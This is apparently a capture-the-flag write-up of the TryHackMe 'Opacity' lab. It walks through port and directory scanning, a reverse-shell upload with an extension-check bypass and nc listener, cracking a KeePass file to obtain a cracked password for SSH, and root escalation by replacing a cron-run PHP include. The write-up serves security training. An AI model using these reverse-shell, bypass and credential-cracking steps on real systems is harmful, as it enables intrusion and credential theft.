URL: https://tryhackme.com/r/room/opacity
Stage 1: Recon
As a general recon method, use namp for port and service scanning.
root@ip-10-10-143-55:~# nmap -sT -p- 10.10.85.78
Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-30 06:36 GMT
Nmap scan report for ip-10-10-85-78.eu-west-1.compute.internal (10.10.85.78)
Host is up (0.0078s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 02:01:8D:EA:C0:B9 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 4.41 seconds
After the quick search, a detail recon will be execute on found port 22,80,139,445:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open netbios-ssn?
| fingerprint-strings:
| SMBProgNeg:
|_ SMBr
445/tcp open microsoft-ds?
| fingerprint-strings:
| SMBProgNeg:
|_ SMBr
2 services unrecognized despite returning data.
Since the SSH service on port 22 could provide nothing invaluable for without any user/password now. Let's go to check what's inside the web service on 80.
root@ip-10-10-143-55:~# gobuster dir --url http://10.10.85.78 -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.85.78
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/30 06:41:16 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cloud (Status: 301)
/css (Status: 301)
/server-status (Status: 403)
===============================================================
2024/03/30 06:41:18 Finished
===============================================================
A sub-directory named cloud was found and checking it then.
root@ip-10-10-143-55:~# gobuster dir --url http://10.10.85.78/cloud -w /usr/share/dirb/wordlists/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.85.78/cloud
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/03/30 06:42:23 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/images (Status: 301)
===============================================================
2024/03/30 06:42:31 Finished
===============================================================
It seems there's no domain attracting us. Since little knowledge of SMB service, I just stop recon here and go on trying find vulnerability points.
Stage 2: Vulnerability point
Visiting http://10.10.85,78, a login page was presented.
Surely we want do something on the login form.
a. Burst force enumeration
Since I have no idea about the avaliable username, burst force enumeration would cost a lot of time with big dictionary.So I give it up now.
b. SQLInjaction
By saving the request and run with sqlmap, all parameters are not injectable.
sqlmap -r ./post.txt --dump
[06:50:14] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')
I believe I am not better than sqlmap in SQL Injectiong:) So just give it up.
So the default site has no way to break in now. Let's take a look at what's inside cloud.
Well, it's a file upload page. If I can upload a web shell or reverse shell to the server, that would be an oppertunity to find flags.
With the prompt of 'upload image', we could image that it require upload image file. So just try upload a jpg file.
a. startup a http server on local.
python3 -m http.server
b. copy a jpg file to current directory
c. visit http://10.10.143.55:8000/d.jpg and paste it inside the input field.
We got a image showed on the page. Then let's try to upload reverse shell(php-reverse-shell.php).
It will failed due to the extension name checking. A simple way to bypass the check: http://10.10.143.55:8000/php_reverse_shell.php#00.jpg.
Now we start a nc listener local:
nc -lnvp 1234
Then visit http://10.10.85,78/cloud/images/php_reverse_shell.php, the reverse shell will connect to local nc 1234 port.
In the reverse shell, we can make an enumeration to collect information on the server.
With command whoami, the current user is www-data, and has no sudo permission.
Under /home, we found a user sysadmin, and a file name with local.txt is located there. But we have no permission to view it currently.
How can I get the permission of sysadmin, or find the password for the user?
After view some others' Write-Ups, I did not find somebody with reasonable logical to find the password file which located in /opt named dataset.kdbx.
Here is the way to decrypt the password:
a. Copy the keepass file to /var/www/html, then use wget http://****/dataset.kdbx to download it.
b. Clone code from git clone https://github.com/ivanmrsulja/keepass2john.git
c. use keepass2john ./dataset.kdbx > hash.txt
d use join --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --fork=4
root@ip-10-10-123-142:~# git clone https://github.com/ivanmrsulja/keepass2john.git
Cloning into 'keepass2john'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 24 (delta 10), reused 14 (delta 6), pack-reused 0
Unpacking objects: 100% (24/24), done.
root@ip-10-10-123-142:~# wget 10.10.21.208/dataset.kdbx
--2024-03-30 11:39:52-- http://10.10.21.208/dataset.kdbx
Connecting to 10.10.21.208:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1566 (1.5K)
Saving to: \u2018dataset.kdbx\u2019
dataset.kdbx 100%[===================>] 1.53K --.-KB/s in 0s
2024-03-30 11:39:52 (150 MB/s) - \u2018dataset.kdbx\u2019 saved [1566/1566]
root@ip-10-10-123-142:~# ./keepass2john/keepass2john.py ./dataset.kdbx >hash.txt
root@ip-10-10-123-142:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --fork=4
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:19 0.00% (ETA: 2024-04-08 05:44) 0g/s 5.809p/s 5.809c/s 5.809C/s eeyore
1 0g 0:00:00:19 0.00% (ETA: 2024-04-07 18:57) 0g/s 6.236p/s 6.236c/s 6.236C/s cantik
3 0g 0:00:00:19 0.00% (ETA: 2024-04-08 00:42) 0g/s 5.943p/s 5.943c/s 5.943C/s happy
2 0g 0:00:00:19 0.00% (ETA: 2024-04-07 13:19) 0g/s 6.269p/s 6.269c/s 6.269C/s manchester
741852963 (dataset<SHOULD_BE_REMOVED_INCLUDING_COLON>)
1 1g 0:00:00:34 DONE (2024-03-30 11:43) 0.02908g/s 6.340p/s 6.340c/s 6.340C/s 741852963
Waiting for 3 children to terminate
3 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 5.863p/s 5.863c/s 5.863C/s skyline
2 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 6.559p/s 6.559c/s 6.559C/s 242424
4 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 5.900p/s 5.900c/s 5.900C/s justme
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
root@ip-10-10-123-142:~# apt install keepassx
Reading package lists... Done
Building dependency tree
Reading state information... Done
Now we can use keepassx to open the dataset file and after inputing the password from join, we got to find the password for user sysadmin.
Since a pair of user/pass has been found, let's try SSH now.
root@ip-10-10-123-142:~# ssh sysadmin@10.10.21.208
The authenticity of host '10.10.21.208 (10.10.21.208)' can't be established.
ECDSA key fingerprint is SHA256:7HJPDiUxEz8ROEWXrBE7SWNvcbOx1PJxlp6tBdVCRoM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.21.208' (ECDSA) to the list of known hosts.
sysadmin@10.10.21.208's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 30 Mar 2024 11:51:09 AM UTC
System load: 0.0 Processes: 126
Usage of /: 57.1% of 8.87GB Users logged in: 0
Memory usage: 26% IPv4 address for eth0: 10.10.21.208
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Feb 22 08:13:43 2023 from 10.0.2.15
sysadmin@opacity:~$ ls -l
total 8
-rw------- 1 sysadmin sysadmin 33 Jul 26 2022 local.txt
drwxr-xr-x 3 root root 4096 Jul 8 2022 scripts
sysadmin@opacity:~$ cat ./local.txt
6661b61b44d234d230d06bf5b3c075e2
After login to SSH server, the local.txt content is printed.
Stage 3: Elevate privilede
But the root privilege is not avaliable now, after checking sudo, crontab, no valuable information found.
The file uploaded will be removed periodly, there must be a background process running.
Let's upload pspy64 to the server.
After running pspy64, we got a backgound process like this:
2024/03/30 11:57:01 CMD: UID=0 PID=1574 | /usr/bin/php /home/sysadmin/scripts/script.php
script.php is executed by root periodly. Maybe we can put the reverse shell there and be executed.
But script.php can't be changed by sysadmin, he has no permission to edit the file.
sysadmin@opacity:~/scripts$ ls -l
total 8
drwxr-xr-x 2 sysadmin root 4096 Mar 30 12:02 lib
-rw-r----- 1 root sysadmin 519 Jul 8 2022 script.php
Let's have a look at the file content:
<?php
//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;
//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
foreach ( $ri as $file ) {
$file->isDir() ? rmdir($file) : unlink($file);
}
}
?>
Well, it include a php file called lib/backup.inc.php, let's check whether sysadmin has permission to modify.
drwxr-xr-x 2 sysadmin root 4096 Mar 30 12:02 lib
sysadmin@opacity:~/scripts/lib$ ls -l
total 132
-rw-r--r-- 1 root root 9458 Jul 26 2022 application.php
-rw-r--r-- 1 root root 967 Jul 6 2022 backup.inc.php
Sysadmin has the permission to modify backup.inc.php. Let's use php-reverse-shell.php(renamed to p.php) to replace it.
sysadmin@opacity:~/scripts/lib$ cp ./backup.inc.php ./backup.inc.php2
sysadmin@opacity:~/scripts/lib$ mv ./p.php ./backup.inc.php
mv: replace './backup.inc.php', overriding mode 0644 (rw-r--r--)? y
Then after a while the reverse-shell works and connected to my server:
root@ip-10-10-123-142:~# nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.21.208 54630 received!
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
12:11:01 up 50 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
sysadmin pts/0 10.10.123.142 11:51 59.00s 0.11s 0.11s -bash
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
Now we got the root user shell, and not had to read the /root/proof.txt.
Stage 4: Report
1. The upload vulnerabilty is opened, it did not check the content of the file and a valid file name check.
2. The keepass2 password file was left on ther server and could be viewed by www-data.
3. Though there's no crontab task set, hackes still can upload a pspy64 to check periodly tasks.
A new way to hack password: how to decrypt keepass2 file.